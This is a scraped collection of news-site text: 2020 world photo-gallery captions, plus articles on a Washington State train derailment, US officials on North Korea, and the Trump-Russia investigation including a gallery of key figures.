World news in pictures Show all 50 1 /50 World news in pictures World news in pictures 30 September 2020 Pope Francis prays with priests at the end of a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 29 September 2020 A girl's silhouette is seen from behind a fabric in a tent along a beach by Beit Lahia in the northern Gaza Strip AFP via Getty World news in pictures 28 September 2020 A Chinese woman takes a photo of herself in front of a flower display dedicated to frontline health care workers during the COVID-19 pandemic in Beijing, China. China will celebrate national day marking the founding of the People's Republic of China on October 1st Getty World news in pictures 27 September 2020 The Glass Mountain Inn burns as the Glass Fire moves through the area in St. Helena, California. The fast moving Glass fire has burned over 1,000 acres and has destroyed homes Getty World news in pictures 26 September 2020 A villager along with a child offers prayers next to a carcass of a wild elephant that officials say was electrocuted in Rani Reserve Forest on the outskirts of Guwahati, India AFP via Getty World news in pictures 25 September 2020 The casket of late Supreme Court Justice Ruth Bader Ginsburg is seen in Statuary Hall in the US Capitol to lie in state in Washington, DC AFP via Getty World news in pictures 24 September 2020 An anti-government protester holds up an image of a pro-democracy commemorative plaque at a rally outside Thailand's parliament in Bangkok, as activists gathered to demand a new constitution AFP via Getty World news in pictures 23 September 2020 A whale stranded on a beach in Macquarie Harbour on the rugged west coast of Tasmania, as hundreds of pilot whales have died in a mass stranding in southern Australia despite efforts to save them, with rescuers racing to free a few dozen survivors The Mercury/AFP via Getty World news in pictures 22 September 2020 State civil employee candidates wearing face masks and shields take a test in Surabaya AFP via Getty World news in pictures 21 September 2020 A man sweeps at the Taj Mahal monument on the day of its reopening after being closed for more than six months due to the coronavirus pandemic AP World news in pictures 20 September 2020 A deer looks for food in a burnt area, caused by the Bobcat fire, in Pearblossom, California EPA World news in pictures 19 September 2020 Anti-government protesters hold their mobile phones aloft as they take part in a pro-democracy rally in Bangkok. Tens of thousands of pro-democracy protesters massed close to Thailand's royal palace, in a huge rally calling for PM Prayut Chan-O-Cha to step down and demanding reforms to the monarchy AFP via Getty World news in pictures 18 September 2020 Supporters of Iraqi Shi'ite cleric Moqtada al-Sadr maintain social distancing as they attend Friday prayers after the coronavirus disease restrictions were eased, in Kufa mosque, near Najaf, Iraq Reuters World news in pictures 17 September 2020 A protester climbs on The Triumph of the Republic at 'the Place de la Nation' as thousands of protesters take part in a demonstration during a national day strike called by labor unions asking for better salary and against jobs cut in Paris, France EPA World news in pictures 16 September 2020 A fire raging near the Lazzaretto of Ancona in Italy. The huge blaze broke out overnight at the port of Ancona. Firefighters have brought the fire under control but they expected to keep working through the day EPA World news in pictures 15 September 2020 Russian opposition leader Alexei Navalny posing for a selfie with his family at Berlin's Charite hospital. In an Instagram post he said he could now breathe independently following his suspected poisoning last month Alexei Navalny/Instagram/AFP World news in pictures 14 September 2020 Japan's Prime Minister Shinzo Abe, Chief Cabinet Secretary Yoshihide Suga, former Defense Minister Shigeru Ishiba and former Foreign Minister Fumio Kishida celebrate after Suga was elected as new head of the ruling party at the Liberal Democratic Party's leadership election in Tokyo Reuters World news in pictures 13 September 2020 A man stands behind a burning barricade during the fifth straight day of protests against police brutality in Bogota AFP via Getty World news in pictures 12 September 2020 Police officers block and detain protesters during an opposition rally to protest the official presidential election results in Minsk, Belarus. Daily protests calling for the authoritarian president's resignation are now in their second month AP World news in pictures 11 September 2020 Members of 'Omnium Cultural' celebrate the 20th 'Festa per la llibertat' ('Fiesta for the freedom') to mark the Day of Catalonia in Barcelona. Omnion Cultural fights for the independence of Catalonia EPA World news in pictures 10 September 2020 The Moria refugee camp, two days after Greece's biggest migrant camp, was destroyed by fire. Thousands of asylum seekers on the island of Lesbos are now homeless AFP via Getty World news in pictures 9 September 2020 Pope Francis takes off his face mask as he arrives by car to hold a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 8 September 2020 A home is engulfed in flames during the "Creek Fire" in the Tollhouse area of California AFP via Getty World news in pictures 7 September 2020 A couple take photos along a sea wall of the waves brought by Typhoon Haishen in the eastern port city of Sokcho AFP via Getty World news in pictures 6 September 2020 Novak Djokovic and a tournament official tends to a linesperson who was struck with a ball by Djokovic during his match against Pablo Carreno Busta at the US Open USA Today Sports/Reuters World news in pictures 5 September 2020 Protesters confront police at the Shrine of Remembrance in Melbourne, Australia, during an anti-lockdown rally AFP via Getty World news in pictures 4 September 2020 A woman looks on from a rooftop as rescue workers dig through the rubble of a damaged building in Beirut. A search began for possible survivors after a scanner detected a pulse one month after the mega-blast at the adjacent port AFP via Getty World news in pictures 3 September 2020 A full moon next to the Virgen del Panecillo statue in Quito, Ecuador EPA World news in pictures 2 September 2020 A Palestinian woman reacts as Israeli forces demolish her animal shed near Hebron in the Israeli-occupied West Bank Reuters World news in pictures 1 September 2020 Students protest against presidential elections results in Minsk TUT.BY/AFP via Getty World news in pictures 31 August 2020 The pack rides during the 3rd stage of the Tour de France between Nice and Sisteron AFP via Getty World news in pictures 30 August 2020 Law enforcement officers block a street during a rally of opposition supporters protesting against presidential election results in Minsk, Belarus Reuters World news in pictures 29 August 2020 A woman holding a placard reading "Stop Censorship - Yes to the Freedom of Expression" shouts in a megaphone during a protest against the mandatory wearing of face masks in Paris. Masks, which were already compulsory on public transport, in enclosed public spaces, and outdoors in Paris in certain high-congestion areas around tourist sites, were made mandatory outdoors citywide on August 28 to fight the rising coronavirus infections AFP via Getty World news in pictures 28 August 2020 Japanese Prime Minister Shinzo Abe bows to the national flag at the start of a press conference at the prime minister official residence in Tokyo. Abe announced he will resign over health problems, in a bombshell development that kicks off a leadership contest in the world's third-largest economy AFP via Getty World news in pictures 27 August 2020 Residents take cover behind a tree trunk from rubber bullets fired by South African Police Service (SAPS) in Eldorado Park, near Johannesburg, during a protest by community members after a 16-year old boy was reported dead AFP via Getty World news in pictures 26 August 2020 People scatter rose petals on a statue of Mother Teresa marking her 110th birth anniversary in Ahmedabad AFP via Getty World news in pictures 25 August 2020 An aerial view shows beach-goers standing on salt formations in the Dead Sea near Ein Bokeq, Israel Reuters World news in pictures 24 August 2020 Health workers use a fingertip pulse oximeter and check the body temperature of a fisherwoman inside the Dharavi slum during a door-to-door Covid-19 coronavirus screening in Mumbai AFP via Getty World news in pictures 23 August 2020 People carry an idol of the Hindu god Ganesh, the deity of prosperity, to immerse it off the coast of the Arabian sea during the Ganesh Chaturthi festival in Mumbai, India Reuters World news in pictures 22 August 2020 Firefighters watch as flames from the LNU Lightning Complex fires approach a home in Napa County, California AP World news in pictures 21 August 2020 Members of the Israeli security forces arrest a Palestinian demonstrator during a rally to protest against Israel's plan to annex parts of the occupied West Bank AFP via Getty World news in pictures 20 August 2020 A man pushes his bicycle through a deserted road after prohibitory orders were imposed by district officials for a week to contain the spread of the Covid-19 in Kathmandu AFP via Getty World news in pictures 19 August 2020 A car burns while parked at a residence in Vacaville, California. Dozens of fires are burning out of control throughout Northern California as fire resources are spread thin AFP via Getty World news in pictures 18 August 2020 Students use their mobile phones as flashlights at an anti-government rally at Mahidol University in Nakhon Pathom. Thailand has seen near-daily protests in recent weeks by students demanding the resignation of Prime Minister Prayut Chan-O-Cha AFP via Getty World news in pictures 17 August 2020 Members of the Kayapo tribe block the BR163 highway during a protest outside Novo Progresso in Para state, Brazil. Indigenous protesters blocked a major transamazonian highway to protest against the lack of governmental support during the COVID-19 novel coronavirus pandemic and illegal deforestation in and around their territories AFP via Getty World news in pictures 16 August 2020 Lightning forks over the San Francisco-Oakland Bay Bridge as a storm passes over Oakland AP World news in pictures 15 August 2020 Belarus opposition supporters gather near the Pushkinskaya metro station where Alexander Taraikovsky, a 34-year-old protester died on August 10, during their protest rally in central Minsk AFP via Getty World news in pictures 14 August 2020 AlphaTauri's driver Daniil Kvyat takes part in the second practice session at the Circuit de Catalunya in Montmelo near Barcelona ahead of the Spanish F1 Grand Prix AFP via Getty World news in pictures 13 August 2020 Soldiers of the Brazilian Armed Forces during a disinfection of the Christ The Redeemer statue at the Corcovado mountain prior to the opening of the touristic attraction in Rio AFP via Getty World news in pictures 12 August 2020 Young elephant bulls tussle playfully on World Elephant Day at the Amboseli National Park in Kenya AFP via Getty

The train was carrying 80 passengers at the time, dozens of whom were injured and taken to hospital. At least 10 were said to have suffered serious injuries.

As federal investigators launched their inquiry into what caused the derailment, details about the dead began to emerge.

Two of the people identified led lives devoted to railroad transit, described in a statement from the Rail Passenger Association as passionate advocates for passenger railroad.

Zack Willhoite had been working for Pierce Transit for nearly a decade, most recently as a customer service support specialist, and served on the board of a nonprofit rail advocacy organisation called All Aboard Washington. Jim Hamre was a board member of the Rail Passengers Association and a veteran of the Washington State Department of Transportation.

Jim was among the country's most-respected and effective rail advocates and a good friend and mentor to me. I will miss his counsel, and our community is poorer for his loss, Rail Passengers Association President Jim Mathews said in a statement. Both Jim and Zack have been advocates of transit and passenger rail for decades, and we cant thank them enough for their work.

Grief and tributes flowed online from friends and colleagues, who described the two men as tireless railroad enthusiasts. Separately, UK Prime Minister Theresa May expressed her condolences for the victims in a phone call with Mr Trump.

Workers were using cranes and flatbed trucks to heft the remaining train cars off of the crash site and transport them to a secure location, labouring through steady rain and wind. Authorities said Interstate 5, a major west coast highway stretching from the Canadian border to Mexico, could remain closed for days, continuing to snarl traffic throughout the area.

This is a very careful, delicate operation, Travis Phelps, a spokesman for the Washington State Department of Transportation, told reporters.

Once those cars are transported to a secure facility, National Transportation Safety Board will have access to gather evidence as they continue conducting their investigation of the derailment.

The part of track where the derailment happened at around 7.30am had previously been used by slow-moving freight trains but was recently upgraded to handle passenger trains as part of a $181m project to cut travel time between Tacoma and Olympia, the news agency said.

The state transportation department said the track underwent weeks of inspection and testing before the new route was inaugurated on Monday, setting off from Seattle for Portland at 6am.

After the derailment, people who were injured called out to rescuers, including people who had been in their vehicles nearby and who rushed to help. Among those who offered help were Daniel Konzelman, who was driving to work in Olympia with his girlfriend, Alicia Hoverson, when he noticed the train passing him.

I noticed it was going really fast. Id never seen a train going that fast in the past. I drive that stretch every day, he told the Seattle Times.

He added: I looked up and saw the train was hanging off. I was like, Oh my gosh, this was major.

One of the three people to lose their life, was identified as Zack Willhoite, an employee of a local transit agency and a rail advocate.
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The US is willing to compel North Korea to abandon its nuclear weapons programme, Donald Trumps national security adviser has said.

H R McMaster reiterated the US Presidents assertion that all options were open to Washington when it came to confronting the Kim regimes rapidly advancing missile programme.

But he declined to say the US was committed to a peaceful resolution when questioned by a reporter.

He told the BBC: Of course thats what we want, but were not committed to a peaceful [resolution]  were committed to a resolution.

Recommended Japan to expand missile defences in response to North Korea threat

We want the resolution to be peaceful, but as the president has said, all options are on the table and we have to be prepared, if necessary, to compel the denuclearisation of North Korea without the cooperation of that regime.

The chances of war, who knows what they are? They could go up or down, I think, based on what we all decide to do. North Korea is a grave threat to all civilised people across the globe.

Mr McMaster, a US Army general, clearly hinted at the potential for military action but did not appear to explain how the US would leverage its martial power into results.

Asked during an interview on PBS whether he still thought the chance of war was increasing every day, he said: I think it is still the case. Were out of time with this problem.

Not out of time completely but we have a very short amount of time to be able to address the problem of North Korea.

He declined to give details of how military action against North Korea could look, when asked how he would avoid retaliatory strikes on civilian populations by Pyongyang. He said Mr Trump has asked us to continue to refine a military option.

Mr McMaster added the US wanted the international community it take all the diplomatic action, all the economic action we can to convince Kim Jong-un this is a dead end.

World news in pictures Show all 50 1 /50 World news in pictures World news in pictures 30 September 2020 Pope Francis prays with priests at the end of a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 29 September 2020 A girl's silhouette is seen from behind a fabric in a tent along a beach by Beit Lahia in the northern Gaza Strip AFP via Getty World news in pictures 28 September 2020 A Chinese woman takes a photo of herself in front of a flower display dedicated to frontline health care workers during the COVID-19 pandemic in Beijing, China. China will celebrate national day marking the founding of the People's Republic of China on October 1st Getty World news in pictures 27 September 2020 The Glass Mountain Inn burns as the Glass Fire moves through the area in St. Helena, California. The fast moving Glass fire has burned over 1,000 acres and has destroyed homes Getty World news in pictures 26 September 2020 A villager along with a child offers prayers next to a carcass of a wild elephant that officials say was electrocuted in Rani Reserve Forest on the outskirts of Guwahati, India AFP via Getty World news in pictures 25 September 2020 The casket of late Supreme Court Justice Ruth Bader Ginsburg is seen in Statuary Hall in the US Capitol to lie in state in Washington, DC AFP via Getty World news in pictures 24 September 2020 An anti-government protester holds up an image of a pro-democracy commemorative plaque at a rally outside Thailand's parliament in Bangkok, as activists gathered to demand a new constitution AFP via Getty World news in pictures 23 September 2020 A whale stranded on a beach in Macquarie Harbour on the rugged west coast of Tasmania, as hundreds of pilot whales have died in a mass stranding in southern Australia despite efforts to save them, with rescuers racing to free a few dozen survivors The Mercury/AFP via Getty World news in pictures 22 September 2020 State civil employee candidates wearing face masks and shields take a test in Surabaya AFP via Getty World news in pictures 21 September 2020 A man sweeps at the Taj Mahal monument on the day of its reopening after being closed for more than six months due to the coronavirus pandemic AP World news in pictures 20 September 2020 A deer looks for food in a burnt area, caused by the Bobcat fire, in Pearblossom, California EPA World news in pictures 19 September 2020 Anti-government protesters hold their mobile phones aloft as they take part in a pro-democracy rally in Bangkok. Tens of thousands of pro-democracy protesters massed close to Thailand's royal palace, in a huge rally calling for PM Prayut Chan-O-Cha to step down and demanding reforms to the monarchy AFP via Getty World news in pictures 18 September 2020 Supporters of Iraqi Shi'ite cleric Moqtada al-Sadr maintain social distancing as they attend Friday prayers after the coronavirus disease restrictions were eased, in Kufa mosque, near Najaf, Iraq Reuters World news in pictures 17 September 2020 A protester climbs on The Triumph of the Republic at 'the Place de la Nation' as thousands of protesters take part in a demonstration during a national day strike called by labor unions asking for better salary and against jobs cut in Paris, France EPA World news in pictures 16 September 2020 A fire raging near the Lazzaretto of Ancona in Italy. The huge blaze broke out overnight at the port of Ancona. Firefighters have brought the fire under control but they expected to keep working through the day EPA World news in pictures 15 September 2020 Russian opposition leader Alexei Navalny posing for a selfie with his family at Berlin's Charite hospital. In an Instagram post he said he could now breathe independently following his suspected poisoning last month Alexei Navalny/Instagram/AFP World news in pictures 14 September 2020 Japan's Prime Minister Shinzo Abe, Chief Cabinet Secretary Yoshihide Suga, former Defense Minister Shigeru Ishiba and former Foreign Minister Fumio Kishida celebrate after Suga was elected as new head of the ruling party at the Liberal Democratic Party's leadership election in Tokyo Reuters World news in pictures 13 September 2020 A man stands behind a burning barricade during the fifth straight day of protests against police brutality in Bogota AFP via Getty World news in pictures 12 September 2020 Police officers block and detain protesters during an opposition rally to protest the official presidential election results in Minsk, Belarus. Daily protests calling for the authoritarian president's resignation are now in their second month AP World news in pictures 11 September 2020 Members of 'Omnium Cultural' celebrate the 20th 'Festa per la llibertat' ('Fiesta for the freedom') to mark the Day of Catalonia in Barcelona. Omnion Cultural fights for the independence of Catalonia EPA World news in pictures 10 September 2020 The Moria refugee camp, two days after Greece's biggest migrant camp, was destroyed by fire. Thousands of asylum seekers on the island of Lesbos are now homeless AFP via Getty World news in pictures 9 September 2020 Pope Francis takes off his face mask as he arrives by car to hold a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 8 September 2020 A home is engulfed in flames during the "Creek Fire" in the Tollhouse area of California AFP via Getty World news in pictures 7 September 2020 A couple take photos along a sea wall of the waves brought by Typhoon Haishen in the eastern port city of Sokcho AFP via Getty World news in pictures 6 September 2020 Novak Djokovic and a tournament official tends to a linesperson who was struck with a ball by Djokovic during his match against Pablo Carreno Busta at the US Open USA Today Sports/Reuters World news in pictures 5 September 2020 Protesters confront police at the Shrine of Remembrance in Melbourne, Australia, during an anti-lockdown rally AFP via Getty World news in pictures 4 September 2020 A woman looks on from a rooftop as rescue workers dig through the rubble of a damaged building in Beirut. A search began for possible survivors after a scanner detected a pulse one month after the mega-blast at the adjacent port AFP via Getty World news in pictures 3 September 2020 A full moon next to the Virgen del Panecillo statue in Quito, Ecuador EPA World news in pictures 2 September 2020 A Palestinian woman reacts as Israeli forces demolish her animal shed near Hebron in the Israeli-occupied West Bank Reuters World news in pictures 1 September 2020 Students protest against presidential elections results in Minsk TUT.BY/AFP via Getty World news in pictures 31 August 2020 The pack rides during the 3rd stage of the Tour de France between Nice and Sisteron AFP via Getty World news in pictures 30 August 2020 Law enforcement officers block a street during a rally of opposition supporters protesting against presidential election results in Minsk, Belarus Reuters World news in pictures 29 August 2020 A woman holding a placard reading "Stop Censorship - Yes to the Freedom of Expression" shouts in a megaphone during a protest against the mandatory wearing of face masks in Paris. Masks, which were already compulsory on public transport, in enclosed public spaces, and outdoors in Paris in certain high-congestion areas around tourist sites, were made mandatory outdoors citywide on August 28 to fight the rising coronavirus infections AFP via Getty World news in pictures 28 August 2020 Japanese Prime Minister Shinzo Abe bows to the national flag at the start of a press conference at the prime minister official residence in Tokyo. Abe announced he will resign over health problems, in a bombshell development that kicks off a leadership contest in the world's third-largest economy AFP via Getty World news in pictures 27 August 2020 Residents take cover behind a tree trunk from rubber bullets fired by South African Police Service (SAPS) in Eldorado Park, near Johannesburg, during a protest by community members after a 16-year old boy was reported dead AFP via Getty World news in pictures 26 August 2020 People scatter rose petals on a statue of Mother Teresa marking her 110th birth anniversary in Ahmedabad AFP via Getty World news in pictures 25 August 2020 An aerial view shows beach-goers standing on salt formations in the Dead Sea near Ein Bokeq, Israel Reuters World news in pictures 24 August 2020 Health workers use a fingertip pulse oximeter and check the body temperature of a fisherwoman inside the Dharavi slum during a door-to-door Covid-19 coronavirus screening in Mumbai AFP via Getty World news in pictures 23 August 2020 People carry an idol of the Hindu god Ganesh, the deity of prosperity, to immerse it off the coast of the Arabian sea during the Ganesh Chaturthi festival in Mumbai, India Reuters World news in pictures 22 August 2020 Firefighters watch as flames from the LNU Lightning Complex fires approach a home in Napa County, California AP World news in pictures 21 August 2020 Members of the Israeli security forces arrest a Palestinian demonstrator during a rally to protest against Israel's plan to annex parts of the occupied West Bank AFP via Getty World news in pictures 20 August 2020 A man pushes his bicycle through a deserted road after prohibitory orders were imposed by district officials for a week to contain the spread of the Covid-19 in Kathmandu AFP via Getty World news in pictures 19 August 2020 A car burns while parked at a residence in Vacaville, California. Dozens of fires are burning out of control throughout Northern California as fire resources are spread thin AFP via Getty World news in pictures 18 August 2020 Students use their mobile phones as flashlights at an anti-government rally at Mahidol University in Nakhon Pathom. Thailand has seen near-daily protests in recent weeks by students demanding the resignation of Prime Minister Prayut Chan-O-Cha AFP via Getty World news in pictures 17 August 2020 Members of the Kayapo tribe block the BR163 highway during a protest outside Novo Progresso in Para state, Brazil. Indigenous protesters blocked a major transamazonian highway to protest against the lack of governmental support during the COVID-19 novel coronavirus pandemic and illegal deforestation in and around their territories AFP via Getty World news in pictures 16 August 2020 Lightning forks over the San Francisco-Oakland Bay Bridge as a storm passes over Oakland AP World news in pictures 15 August 2020 Belarus opposition supporters gather near the Pushkinskaya metro station where Alexander Taraikovsky, a 34-year-old protester died on August 10, during their protest rally in central Minsk AFP via Getty World news in pictures 14 August 2020 AlphaTauri's driver Daniil Kvyat takes part in the second practice session at the Circuit de Catalunya in Montmelo near Barcelona ahead of the Spanish F1 Grand Prix AFP via Getty World news in pictures 13 August 2020 Soldiers of the Brazilian Armed Forces during a disinfection of the Christ The Redeemer statue at the Corcovado mountain prior to the opening of the touristic attraction in Rio AFP via Getty World news in pictures 12 August 2020 Young elephant bulls tussle playfully on World Elephant Day at the Amboseli National Park in Kenya AFP via Getty

US leaders fear Mr Kims intentions likely involve nuclear blackmail, he said. He also speculated that other countries might arm try to themselves with nuclear weapons if the non-proliferation regime breaks down.

Earlier this month a UN envoy to Pyongyang told North Korean officials there was an urgent need to prevent miscalculations and open channels to reduce the risks of conflict.

Jeffrey Feltman, an American, was the highest-level UN official to visit the country in several years.

He also said there can only be a diplomatic solution to the situation, achieved through a process of sincere dialogue. Time is of the essence, the body said.
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Russian President Vladimir Putin "knows how to handle an asset and that's what he's doing" with US President Donald Trump, said a former American intelligence chief.

Former Director of National Intelligence James Clapper was commenting on CNN about a recent phone call between the world leaders during which Mr Putin thanked the US and CIA for providing intelligence that allowed Russian authorities to stop an Isis-style terror attack in St Petersburg.

Mr Clapper said he felt it was odd that Mr Putin would call Mr Trump; that it was a theatrical gesture about events that occur globally below the radar.

The attack, according to US intelligence, was set to take place at the Kazan Cathedral and various points in the city.

Russias Federal Security Service said they had detained seven people believed to be connected to the attempted attack and found weapons, explosives, and extremist literature.

"Vladimir Putin assured Donald Trump that the Russian intelligence services upon receipt of information relating to terrorist threats against the US and its citizens, will immediately transmit to its American colleagues in partner channels," a statement from the Kremlin read.

Mr Clapper said what CIA Director Mike Pompeo did was the right thing because innocent lives were at risk and the US has shared intelligence with the Russians for a long time.

In his experience, however, that has been a one way street with Moscow not reciprocating at the same level.

 Michael Flynn: Fired Trump adviser's pleads guilty to Russia investigation charge

He said that was particularly the case when he reached out to Russia about North Korea in the 1990s while he served as chief of the Defence Intelligence Agency.

Mr Clapper said the call, initiated by Moscow according to state-run media outlet TASS, was illustrative of what a great case officer like Mr Putin does.

It was the second call between the two leaders in just three days. On 14 December Mr Trump and Mr Putin discussed North Korea and US-Russian ties.

Thats what [case officers] do, they recruit assets, Mr Clapper explained about the repeated and direct contact between the pair, adding that Mr Trump is a pretty important account for the Russian president.

The biggest names involved in the Trump-Russia investigation Show all 17 1 /17 The biggest names involved in the Trump-Russia investigation The biggest names involved in the Trump-Russia investigation Paul Manafort Mr Manafort is a Republican strategist and former Trump campaign manager. He resigned from that post over questions about his extensive lobbying overseas, including in Ukraine where he represented pro-Russian interests. Mr Manafort turned himself in at FBI headquarters to special counsel Robert Muellers team on Oct 30, 2017, after he was indicted under seal on charges that include conspiracy against the United States, conspiracy to launder money, unregistered agent of a foreign principal, false and misleading US Foreign Agents Registration Act statements, false statements, and seven counts of failure to file reports of foreign bank and financial accounts. Getty The biggest names involved in the Trump-Russia investigation Rick Gates Mr Gates joined the Trump team in spring 2016, and served as a top aide until he left to work at the Republican National Committee after the departure of former Trump campaign manager Paul Manafort. Mr Gates' had previously worked on several presidential campaigns, on international political campaigns in Europe and Africa, and had 15 years of political or financial experience with multinational firms, according to his bio. Mr Gates was indicted alongside Mr Manafort by special counsel Robert Mueller's team on charges that include conspiracy against the United States, conspiracy to launder money, unregistered agent of a foreign principal, false and misleading US Foreign Agents Registration Act statements, false statements, and seven counts of failure to file reports of foreign bank and financial accounts. AP The biggest names involved in the Trump-Russia investigation George Papadopoulos George Papadopoulos was a former foreign policy adviser for the Trump campaign, having joined around March 2016. Mr Papadopoulos plead guilty to federal charges for lying to the FBI as a part of a cooperation agreement with Special Counsel Robert Mueller's investigation. Mr Papadopoulos claimed in an interview with the FBI that he had made contacts with Russian sources before joining the Trump campaign, but he actually began working with them after joining the team. Mr Papadopoulos allegedly took a meeting with a professor in London who reportedly told him that Russians had "dirt" on Hillary Clinton. The professor also allegedly introduced Mr Papadopoulos to a Russian who was said to have close ties to officials at the Russian Ministry of Foreign Affairs. Mr Papadopoulos also allegedly was in contact with a woman whom he incorrectly described in one email to others in the campaign as the "niece" to Russian President Vladimir Putin. Twitter The biggest names involved in the Trump-Russia investigation Donald Trump Jr The President's eldest son met with a Russian lawyer - Natalia Veselnitskaya - on 9 June 2016 at Trump Tower in New York. He said in an initial statement that the meeting was about Russia halting adoptions of its children by US citizens. Then, he said it was regarding the Magnitsky Act, a US law blacklisting Russian human rights abusers. In a final statement, Mr Trump Jr released a chain of emails that revealed he took the meeting in hopes of getting information Ms Veselnitskaya had about Hillary Clinton's alleged financial ties to Russia. He and the President called it standard "opposition research" in the course of campaigning and that no information came from the meeting. The meeting was set up by an intermediary, Rob Goldstone. Jared Kushner and Paul Manafort were also at the same meeting. Getty Images The biggest names involved in the Trump-Russia investigation Jared Kushner Mr Kushner is President Donald Trump's son-in-law and a key adviser to the White House. He met with a Russian banker appointed by Russian President Vladimir Putin in December. Mr Kushner has said he did so in his role as an adviser to Mr Trump while the bank says he did so as a private developer. Mr Kushner has also volunteered to testify in the Senate about his role helping to arrange meetings between Trump advisers and Russian Ambassador to the US Sergey Kislyak. Getty Images The biggest names involved in the Trump-Russia investigation Rob Goldstone Former tabloid journalist and now music publicist Rob Goldstone is a contact of the Trump family through the previously Trump-owned 2013 Miss Universe pageant, which took place in Moscow. In June 2016, he wrote to Donald Trump Jr offering a meeting with a Russian lawyer, Natalya Veselnitskaya, who had information about Hillary Clinton. Mr Goldstone was the intermediary for Russian pop star Emin Agalaraov and his father, real estate magnate Aras, who played a role in putting on the 2013 pageant. In an email chain released by Mr Trump Jr, Mr Goldstone seemed to indicate Russian government's support of Donald Trump's campaign. AP images The biggest names involved in the Trump-Russia investigation Aras and Emin Agalarov Aras Agalarov (R) is a wealthy Moscow-based real estate magnate and son Emin (L) is a pop star. Both played a role in putting on the previously Trump-owned 2013 Miss Universe pageant in Moscow. They allegedly had information about Hillary Clinton and offered that information to the Trump campaign through a lawyer with whom they had worked with, Natalia Veselnitskaya, and music publicist Rob Goldstone. Getty Images The biggest names involved in the Trump-Russia investigation Natalia Veselnitskaya Natalia Veselnitskaya is a Russian lawyer with ties to the Kremlin. She has worked on real estate issues and reportedly counted the FSB as a client in the past. She has ties to a Trump family connection, real estate magnate Aras Agalarov, who had helped set up the Trump-owned 2013 Miss Universe pageant which took place in Moscow. Ms Veselnitskaya met with Donald Trump Jr, Jared Kushner, and Paul Manafort in Trump Tower on 9 June 2016 but denies the allegation that she went there promising information on Hillary Clinton's alleged financial ties to Russia. She contends that the meeting was about the US adoptions of Russian children being stopped by Moscow as a reaction to the Magnitsky Act, a US law blacklisting Russian human rights abusers. Getty Images The biggest names involved in the Trump-Russia investigation Mike Flynn Mr Flynn was named as Trump's national security adviser but was forced to resign from his post for inappropriate communication with Russian Ambassador to the US Sergey Kislyak. He had misrepresented a conversation he had with Mr Kislyak to Vice President Mike Pence, telling him wrongly that he had not discussed sanctions with the Russian. Getty Images The biggest names involved in the Trump-Russia investigation Sergey Kislyak Mr Kislyak, the former longtime Russian ambassador to the US, is at the centre of the web said to connect President Donald Trump's campaign with Russia. Reuters The biggest names involved in the Trump-Russia investigation Roger Stone Mr Stone is a former Trump adviser who worked on the political campaigns of Richard Nixon, George HW Bush, and Ronald Reagan. Mr Stone claimed repeatedly in the final months of the campaign that he had backchannel communications with WikiLeaks founder Julian Assange and that he knew the group was going to dump damaging documents to the campaign of Democratic candidate Hillary Clinton - which did happen. Mr Stone also had contacts with the hacker Guccier 2.0 on Twitter, who claimed to have hacked the DNC and is linked to Russian intelligence services. Getty Images The biggest names involved in the Trump-Russia investigation Jeff Sessions The US attorney general was forced to recuse himself from the Trump-Russia investigation after it was learned that he had lied about meeting with Russian Ambassador to the US Sergey Kislyak. Getty Images The biggest names involved in the Trump-Russia investigation Carter Page Mr Page is a former advisor to the Trump campaign and has a background working as an investment banker at Merrill Lynch. Mr Page met with Russian Ambassador to the US Sergey Kislyak during the 2016 Republican National Convention in Cleveland. Mr Page had invested in oil companies connected to Russia and had admitted that US Russia sanctions had hurt his bottom line. Reuters The biggest names involved in the Trump-Russia investigation Jeffrey "JD" Gorden Mr Gordon met with Russian Ambassador to the US Sergey Kislyak during the 2016 Republian National Convention to discuss how the US and Russia could work together to combat Islamist extremism should then-Republican presidential candidate Donald Trump win the election. The meeting came days before a massive leak of DNC emails that has been connected to Russia. Creative Commons The biggest names involved in the Trump-Russia investigation James Comey Mr Comey was fired from his post as head of the FBI by President Donald Trump. The timing of Mr Comey's firing raised questions around whether or not the FBI's investigation into the Trump campaign may have played a role in the decision. Getty Images The biggest names involved in the Trump-Russia investigation Preet Bharara Mr Bahara refused, alongside 46 other US district attorney's across the country, to resign once President Donald Trump took office after previous assurances from Mr Trump that he would keep his job. Mr Bahara had been heading up several investigations including one into one of President Donald Trump's favorite cable television channels Fox News. Several investigations would lead back to that district, too, including those into Mr Trump's campaign ties to Russia, and Mr Trump's assertion that Trump Tower was wiretapped on orders from his predecessor. Getty Images The biggest names involved in the Trump-Russia investigation Sally Yates Ms Yates, a former Deputy Attorney General, was running the Justice Department while President Donald Trump's pick for attorney general awaited confirmation. Ms Yates was later fired by Mr Trump from her temporary post over her refusal to implement Mr Trump's first travel ban. She had also warned the White House about potential ties former National Security Adviser Michael Flynn to Russia after discovering those ties during the FBI's investigation into the Trump campaign's connections to Russia. Getty Images

The US-Russia relationship has been marked by the ongoing investigations into alleged collusion between Russian officials and Trump campaign team members during and after the 2016 US election.

Four team members - former campaign manager Paul Manafort, his deputy Rick Gates, campaign aide George Papadopoulos, and former National Security Adviser Michael Flynn - have already been indicted in the case.

Mr Papadopoulos and Mr Flynn pleaded guilty to charges that they lied to the FBI about their contacts with various Russian officials.

Though the White House said the President appreciated the second phone call and both leaders agreed that this serves as an example of the positive things that can occur when our countries work together, the administration also recently labelled Russia a rival power.

In its National Security Strategy, a 55-page document outlining general security priorities, the Trump administration said: actors such as Russia are using information tools in an attempt

to undermine the legitimacy of democracies" in reference to email hacking and social media propaganda that Russia employed during various elections.
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Robert Muellers investigation into possible collusion between the Trump campaign team and Russias alleged meddling in the US election could reportedly last for at least another year.

While the President and his senior officials have claimed the Special Counsels probe is drawing to a close and will vindicate him, a report claims that having so far issued indictments against four people linked to Mr Trump, Mr Muellers inquiry could continue much longer.

This week, White House lawyers are expected to meet with investigators from Mr Muellers office. In recent weeks, the team has been requesting more and more documents from the White House to include in its probe.

While the White House and the President have sought to cooperate and publicly say nothing critical of Mr Mueller, others close to Mr Trump have condemned the investigation and accused it of overreach.

A flurry of reports suggested Republicans were trying to shut down both Mr Muellers investigation, along with several congressional probes that are ongoing. There were even reports Mr Trump was poised to fire Mr Mueller.

Im increasingly worried Republicans will shut down the House intelligence committee investigation at the end of the month, congressman Adam Schiff, who is the leading Democrat on the House intelligence committee, said over the weekend.

 Donald Trump says he doesn't intend to fire Robert Mueller

